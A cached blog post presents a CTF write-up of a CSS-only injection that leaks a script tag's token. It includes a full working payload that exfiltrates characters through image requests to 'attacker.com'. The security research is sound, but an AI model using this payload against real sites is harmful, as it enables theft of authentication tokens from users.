Bench Press: Leaking Text Nodes with CSS

Lobsters Hottest Tools

Summary

The article presents a CSS injection technique that leaks the entire content of an HTML text node using only CSS, demonstrated through a CTF challenge. It details the method and its constraints.

<p><a href="https://lobste.rs/s/qyugm7/bench_press_leaking_text_nodes_with_css">Comments</a></p>
Original Article
View Cached Full Text

Cached at: 07/05/26, 08:34 PM

# Bench Press: Leaking Text Nodes with CSS Source: [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/) Some time ago, while reading up on new CSS features, I asked myself: Is it possible to leak the entire content of an HTML text node only using CSS? The answer is yes\! Well, kinda\. I found a technique that generally allows this, but bumps into the limitations of the CSS engine at some point 🙃 But I'm getting ahead of myself… I really liked all the new things I learned about CSS while researching this, so I created a challenge for Hack\.lu CTF 2024:[Bench Press](https://bench-press.online/)\. In this blog post, I'm going to walk you through the solution as a practical example of my new technique\. ## [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#The-Challenge](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#The-Challenge)The Challenge The goal of the challenge is to leak an authentication token from a`<script\>`tag: ``` 123456 ``` ``` <!DOCTYPE html><html><head> <script nonce="...">t="01b275146755aac26d5b2c7821b7c3"</script> ``` The only interesting thing we can control is the`?theme=`query parameter: ``` 123456789101112131415 ``` ``` app.get('/articles/:slug', (req, res) => { let theme = ''; if (typeof req.query.theme === 'string') { theme = req.query.theme; if (theme.includes('</')) { theme = '*{color:red}'; } } res.render('article', { theme, });}); ``` The parameter ends up inside a`<style\>`tag, giving us CSS Injection\! ``` <style>{{{theme}}}</style> ``` Cross\-checking this with the Content Security Policy \(CSP\) also looks promising: - `style\-src 'unsafe\-inline'`- we're big fans of inline styles here - `img\-src http: https:`- remote images are welcome too - `frame\-ancestors 'none'`- no framing - `base\-uri 'none'`- no`<base\>` - `form\-action 'self'`- no weird forms - `default\-src 'none'`- no other stuff \(read: no JS\) - `sandbox allow\-forms`- really, really no JS \(missing`allow\-scripts`\) Our situation now boils down to leaking the content of a text node using only inline styles and remote images\. ## [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Current-Techniques-Won-t-Work](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Current-Techniques-Won-t-Work)Current Techniques Won't Work In such a scenario, there are multiple known CSS Injection techniques that can help stealing data from the DOM\. However, none of them fits due to their requirements and limitations\. A few examples: - Recursive`@import`for incremental leaks doesn't work because we can't load remote styles\. - Custom ligature fonts can't be used because remote fonts are blocked\. - Using the "contains" attribute selector to leak data chunks doesn't apply because the token is not inside an attribute\. However, there are some techniques that leak the*charset*of a text node that would fit our conditions: - [Using default fonts to cause size differences](https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font) - [Using default fonts to cause timing differences](https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font-2) Timing side\-channels are generally slower and less reliable, so let's go with the size differences and see if we can refine the technique\. ## [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Prior-Art-Leaking-the-Charset](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Prior-Art-Leaking-the-Charset)Prior Art: Leaking the Charset To detect the characters present in a text node, the size difference technique iterates over all possible characters\. For each of them, a specific font\-face is applied that only matches when the current character is included\. This is done using the[`unicode\-range`](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/unicode-range)descriptor\. To detect if the current character is present, the CSS measures the height difference of the text node\. If the character is present, then the font applies and makes the text node bigger\. This height difference is detected using a scrollbar background image which is only loaded from remote if the scrollbar is shown\. The`::first\-line`pseudo selector is used to make only the first line of text visible \(`font\-size: 30px`\) while making the rest of the text invisible \(`font\-size: 0px`\)\. This avoids that the text wraps around and messes with the node's height that way\. But there's still a problem: If the text node contains duplicate characters, no additional font request is triggered for the second one\. For example, if the text is`LOL`, the leak goes like this: 1. Make 1 char appear \(`L`\) and iterate over the possible character fonts1. When checking if there is an`L`, the font applies and makes the text bigger1. The height difference is detected and a request is sent \(`attacker\.com/L`\) 2. Make 2 chars appear \(`LO`\) and iterate over the possible character fonts1. When checking if there is an`L`, the font applies and makes the text bigger1. No request \(font already loaded\) 2. When checking if there is an`O`, the font applies and makes the text bigger1. Font is requested \(`attacker\.com/O`\) 3. Make 3 chars appear \(`LOL`\) and iterate over the possible character fonts1. When checking if there is an`L`, the font applies and makes the text bigger1. No request \(font already loaded\) 2. When checking if there is an`O`, the font applies and makes the text bigger1. No request \(font already loaded\) Now we only know that the text begins with`LO`, and that there might be more Ls or more Os in there\. This is quite unfortunate for our challenge because the token is a 30\-char hex string and will therefore have a lot of duplicates\. So is there a way we can overcome this limitation? ## [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Measuring-Height-using-Animation-Timelines](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Measuring-Height-using-Animation-Timelines)Measuring Height using Animation Timelines Some day, my team mate[@realansgar](https://twitter.com/realansgar)sent me this blog post: [How to Get the Width/Height of Any Element in Only CSS](https://frontendmasters.com/blog/how-to-get-the-width-height-of-any-element-in-only-css/) You should read it to understand how it works under the hood, they have nice visualizations\! With the technique described there, we can now measure the height/width of any HTML element and get the size as a number in a CSS variable: ``` 123456789101112131415161718192021222324252627282930313233 ``` ``` @property --y { syntax: "<number>"; initial-value: 0; inherits: true;}@property --h { syntax: "<integer>"; initial-value: 0; inherits: true;}@keyframes y { to { --y: 1 }}script { overflow: auto; position: relative; &:before { content: ''; position: absolute; left: 0; top: 0; height: 1px; view-timeline: --cy block; } animation: y linear; timeline-scope: --cy; animation-timeline: --cy; animation-range: entry 100% exit 100%; --h: calc(1/(1 - var(--y)));} ``` This is a crucial ingredient, as we can now use`calc\(\)`and friends to do**conditional styling based on the text height**\! ## [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#The-Plan](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#The-Plan)The Plan Let's combine the height measurement with the previous technique: 1. Make the text element have 1 char per line 2. Configure letters to have unique heights 3. Iteratively remove/hide more and more characters from the text 4. Calculate the height difference between two steps to find which character was removed 5. Exfiltrate the letter to our attacker server Step 1 is straight forward\. To have 1 character per line, we can use a monospace font, set a fixed width, and enable line breaking: ``` 1234567 ``` ``` script { font-familiy: monospace; width: 11px; word-break: break-word; white-space: break-spaces;} ``` ### [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Unique-Letter-Heights](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Unique-Letter-Heights)Unique Letter Heights To give every letter an individual height, we make use of`descent\-override`\([MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/descent-override)\): ``` 123456789 ``` ``` @font-face { font-family: has_A; src: local('DejaVu Sans Mono'); unicode-range: U+41; descent-override: 200%;} ``` By repeating this for all possible characters \(in our case hex\), we can give each letter an individual height\. This will later allow us to map a height difference to a letter\. ### [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Iteratively-Removing-Letters](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Iteratively-Removing-Letters)Iteratively Removing Letters We can now stack all letters on top of each other and measure the total height\. Of course this doesn't help much, so we need to iteratively remove characters and measure the height difference to know which letter it was\. To do this, we borrow another trick from before:`::first\-line`\. By continuously reducing the font size in the first line of text, more and more characters will fit into the first line\. We can also apply a different font to the first line, making its height stay the same regardless of the letters\. Code: ``` 1234567891011121314151617181920212223242526 ``` ``` @keyframes iterate { from { --n: 0 } to { --n: 30 }}@property --n { syntax: '<integer>'; initial-value: 0; inherits: true;}script::first-line { font-family: base; --clamped-n: max(2, var(--n, 2)); --width-per-char: 6; --available-space: 11; --space-required: calc(var(--clamped-n) * var(--width-per-char)); --mult: calc(var(--available-space) / var(--space-required)); font-size: calc(var(--font-size) * var(--mult)); line-height: 10px; white-space: break-spaces;} ``` ### [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Calculating-the-Height-Difference](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Calculating-the-Height-Difference)Calculating the Height Difference To calculate the difference, we need to have both the old and the new value\. To do this, we can temporarily cache values using[assignments in animation keyframes](https://dev.to/janeori/expert-css-the-cpu-hack-4ddj)\. While the total height \(`\-\-h`\) is still the initial value, we apply our`save`animation that caches the value as`\-\-old\-h`\. In the next iteration, we calculate the difference \(`calc\(var\(\-\-old\-h\) \- var\(\-\-h\)\)`\)\. Before hitting the next iteration, we quickly unapply and re\-apply the`save`animation to cache the current height\. There's just one problem with this: Animations can't change animation properties\! So to re\-apply the`save`animation, we use a small indirection via container style queries\. A different animation changes the`\-\-do\-save`property, a container style query checks the value of that property, and it conditionally applies the`save`animation: ``` 1234567891011121314 ``` ``` @keyframes enable-save { 0% { --do-save: 'y'; --do-send: 'n' } 50% { --do-save: 'y'; --do-send: 'y' } 100% { --do-save: 'n'; --do-send: 'n' }}@keyframes save { from, to { --old-h: var(--h) }}@container style(--do-save: 'y') { :root > :has(.leak) { animation: save var(--time-per-char) 1; }} ``` ### [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Exfiltrating-the-Letters](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Exfiltrating-the-Letters)Exfiltrating the Letters We now have the height difference that corresponds to the individual height of a letter\. However, this value is stored as a number, so how can we send it to our server? We'll make use of one final \(also animation\-related\) trick:[paused animations](https://lea.verou.me/blog/2024/css-conditionals-now/#paused-animations)\. By changing the delay of a paused animation, we can select different values\. We use it to select an exfiltration URL that matches the right letter: ``` 123456789101112131415161718192021 ``` ``` script { --anim-steps: 64; --anim-time: calc(var(--anim-steps) * 1s); --anim-delay: calc(var(--char-num) * -1s); animation: exfil var(--anim-time) var(--anim-delay) steps(var(--anim-steps), jump-start) infinite paused; background-image: image-set(var(--img-bits) 1x);}@property --anim-delay { syntax: '<time>'; initial-value: 0s; inherits: true;}@keyframes exfil { 0.0000% { --img-bits: '//attacker.com/0' } 1.5625% { --img-bits: '//attacker.com/1' } 3.1250% { --img-bits: '//attacker.com/2' } } ``` ### [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Putting-It-All-Together](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Putting-It-All-Together)Putting It All Together And that's it\! Combining all these steps, we can now leak the content of arbitrary text nodes using only inline CSS \(\+ remote images for exfiltration\)\. You can find the final payload at the end of this page\. ## [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Limitations](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Limitations)Limitations Last but not least, we have to talk about the limiations of this technique\. ### [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Floating-Point-Inaccuracies](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Floating-Point-Inaccuracies)Floating\-Point Inaccuracies Floating\-point values are used for two things: 1. Calculating the font size of`::first\-line` 2. Calculating the element's total height In both cases, the calculations can become inaccurate in Chrome due to the precision of the floats, which breaks the leak\. Both the font size and an intermediate value \(`\-\-y`\) will become so small that the leak will skip some steps because there are values that can't be represented\. This either happens when leaking too many chars, or when the total height of the element becomes too large\. This limites the technique, but I'm sure these limits can be bypassed\. ### [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Chrome-only-For-Now](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Chrome-only-For-Now)Chrome\-only \(For Now\) Some of the CSS features used are only available in Chromium\-based browsers for now: CSS FeatureChromeFirefoxSafari`timeline\-scope`\>= 116\-\-`view\-timeline`\>= 115\-\-`animation\-timeline`\>= 115\-\-`animation\-range`\>= 115\-\-`descent\-override`\>= 87\>= 89\-`@container syle\(\-\-custom: 1\) \{\}`\>= 111\-\>= 18This will likely improve over time, but if you find a more compatible way to achieve the same, let me know\! ### [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Local-Fonts](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Local-Fonts)Local Fonts Since the technique relies on locally available fonts, it needs to be calibrated accordingly\. For the solution of the challenge, I had to check the available fonts, select on of them, and measure the aspect ratio of its characters\. This can probably be done in CSS, at least for a list of common font names, so I might add it to the payload later\. ### [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Speed](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Speed)Speed The maximum leak speed depends on browser animation internals\. Increasing the speed too much might lead to skipped animations frames, breaking the leak\. It's hard to find a one\-fits\-all setting but 500ms per char should be safe default\. ## [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Summary](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Summary)Summary What a ride\! I find it super interesting what's possible with modern CSS\. With the rise of XSS mitigations, both on the app and browser/spec side, CSS becomes a more and more helpful tool for client\-side web exploits\. Sanitizers like DOMPurify still allow arbitrary styles by default, but maybe that'll change in the future\. I hope you enojoyed this new technique\! If you run into problems or find improvements, let me know on[Twitter](https://twitter.com/pspaul95)or[Mastodon](https://infosec.exchange/@pspaul)\. I'll release a GitHub repo with all the details and a tool for generating a payload in the coming days\. --- ## [https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Final-payload](https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/#Final-payload)Final payload ``` 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206 ``` ``` :root { --chars: 30; --prefix-len: 3; --delay: 1s; --time-per-char: 500ms;}:root { --iterations: calc(var(--chars) + 1); --n: var(--prefix-len); animation: iterate calc(var(--iterations) * var(--time-per-char)) var(--delay) steps(var(--iterations)) 1 forwards, enable-save var(--time-per-char) var(--delay) steps(3, jump-end) var(--iterations), y linear; timeline-scope: --cy; animation-timeline: auto, auto, --cy; animation-range: normal, normal, entry 100% exit 100%; --h: calc(1/(1 - var(--y))); background: url('//attacker.com/init');}* { display: none;}.leak, :has(.leak) { display: block;}@keyframes enable-save { 0% { --do-save: 'y'; --do-send: 'n' } 50% { --do-save: 'y'; --do-send: 'y' } 100% { --do-save: 'n'; --do-send: 'n' }}@keyframes save { from, to { --old-h: var(--h) }}@container style(--do-save: 'y') { :root > :has(.leak) { animation: save var(--time-per-char) 1; }}@container style(--do-send: 'y') { .leak { background-image: image-set(var(--img-bits) 1x); }}@property --y { syntax: "<number>"; initial-value: 0; inherits: true;}@property --h { syntax: "<integer>"; initial-value: 0; inherits: true;}@keyframes y { to { --y: 1 }}.leak { overflow: auto; position: relative; &:before { content: ''; position: absolute; left: 0; top: 0; height: 1px; view-timeline: --cy block; } text-transform: uppercase; font-family: f0,f1,f2,f3,f4,f5,f6,f7,f8,f9,fA,fB,fC,fD,fE,fF,base; --font-size: 10px; font-size: var(--font-size); --font-aspect-ratio: calc(602.0520 / 1000); --width-per-char: calc(var(--font-aspect-ratio) * var(--font-size)); --available-space: calc(2 * var(--width-per-char) - 1px); width: var(--available-space); word-break: break-word; white-space: break-spaces; --char-num: calc(var(--old-h) - var(--h) - 11 - 8); --anim-steps: 64; --anim-time: calc(var(--anim-steps) * 1s); --anim-delay: calc(var(--char-num) * -1s); animation: exfil var(--anim-time) var(--anim-delay) steps(var(--anim-steps), jump-start) infinite paused;}@property --anim-delay { syntax: '<time>'; initial-value: 0s; inherits: true;}.leak::first-line { font-family: base; --clamped-n: max(2, var(--n, 2)); --width-per-char: 6; --available-space: 11; --space-required: calc(var(--clamped-n) * var(--width-per-char)); --mult: calc(var(--available-space) / var(--space-required)); font-size: calc(var(--font-size) * var(--mult)); line-height: 10px; white-space: break-spaces;}@property --n { syntax: '<integer>'; initial-value: 0; inherits: true;}@keyframes iterate { from { --n: var(--prefix-len) } to { --n: calc(var(--prefix-len) + var(--iterations)) }}@keyframes exfil { 0.0000% { --img-bits: '//attacker.com/0' } 1.5625% { --img-bits: '//attacker.com/1' } 3.1250% { --img-bits: '//attacker.com/2' } 4.6875% { --img-bits: '//attacker.com/3' } 6.2500% { --img-bits: '//attacker.com/4' } 7.8125% { --img-bits: '//attacker.com/5' } 9.3750% { --img-bits: '//attacker.com/6' } 10.9375% { --img-bits: '//attacker.com/7' } 12.5000% { --img-bits: '//attacker.com/8' } 14.0625% { --img-bits: '//attacker.com/9' } 15.6250% { --img-bits: '//attacker.com/A' } 17.1875% { --img-bits: '//attacker.com/B' } 18.7500% { --img-bits: '//attacker.com/C' } 20.3125% { --img-bits: '//attacker.com/D' } 21.8750% { --img-bits: '//attacker.com/E' } 23.4375% { --img-bits: '//attacker.com/F' } 25.0000% { --img-bits: '//attacker.com/unknown' }}@font-face{font-family:base;src:local('DejaVu Sans Mono')}@font-face{font-family:f0;src:local('DejaVu Sans Mono');unicode-range:U+30;descent-override:100%}@font-face{font-family:f1;src:local('DejaVu Sans Mono');unicode-range:U+31;descent-override:110%}@font-face{font-family:f2;src:local('DejaVu Sans Mono');unicode-range:U+32;descent-override:120%}@font-face{font-family:f3;src:local('DejaVu Sans Mono');unicode-range:U+33;descent-override:130%}@font-face{font-family:f4;src:local('DejaVu Sans Mono');unicode-range:U+34;descent-override:140%}@font-face{font-family:f5;src:local('DejaVu Sans Mono');unicode-range:U+35;descent-override:150%}@font-face{font-family:f6;src:local('DejaVu Sans Mono');unicode-range:U+36;descent-override:160%}@font-face{font-family:f7;src:local('DejaVu Sans Mono');unicode-range:U+37;descent-override:170%}@font-face{font-family:f8;src:local('DejaVu Sans Mono');unicode-range:U+38;descent-override:180%}@font-face{font-family:f9;src:local('DejaVu Sans Mono');unicode-range:U+39;descent-override:190%}@font-face{font-family:fA;src:local('DejaVu Sans Mono');unicode-range:U+41;descent-override:200%}@font-face{font-family:fB;src:local('DejaVu Sans Mono');unicode-range:U+42;descent-override:210%}@font-face{font-family:fC;src:local('DejaVu Sans Mono');unicode-range:U+43;descent-override:220%}@font-face{font-family:fD;src:local('DejaVu Sans Mono');unicode-range:U+44;descent-override:230%}@font-face{font-family:fE;src:local('DejaVu Sans Mono');unicode-range:U+45;descent-override:240%}@font-face{font-family:fF;src:local('DejaVu Sans Mono');unicode-range:U+46;descent-override:250%} ```

Similar Articles

CSS: Unavoidable Bad Parts

Lobsters Hottest

A personal blog post by a non-web developer discusses the unavoidable bad parts of CSS, including layout challenges, browser defaults, and wrapper overuse, while highlighting a learnable subset for simple tasks.

Fixing full-bleed CSS

Lobsters Hottest

A front-end developer discusses the imperfections of the classic CSS full-bleed utility class and presents modern fixes using CSS containment and container units to avoid scrollbar-related clipping issues.

CSS-DOS — A computer made of CSS

Lobsters Hottest

A creative project that builds a DOS-like computer interface entirely with CSS, showcasing the power of modern frontend styling.

The <noscript> element as a trap

Lobsters Hottest

The article discusses the limitations of the <noscript> HTML element, which only provides fallback content when JavaScript is completely disabled, not when JavaScript fails due to other reasons. It recommends using DOM APIs to dynamically update content instead.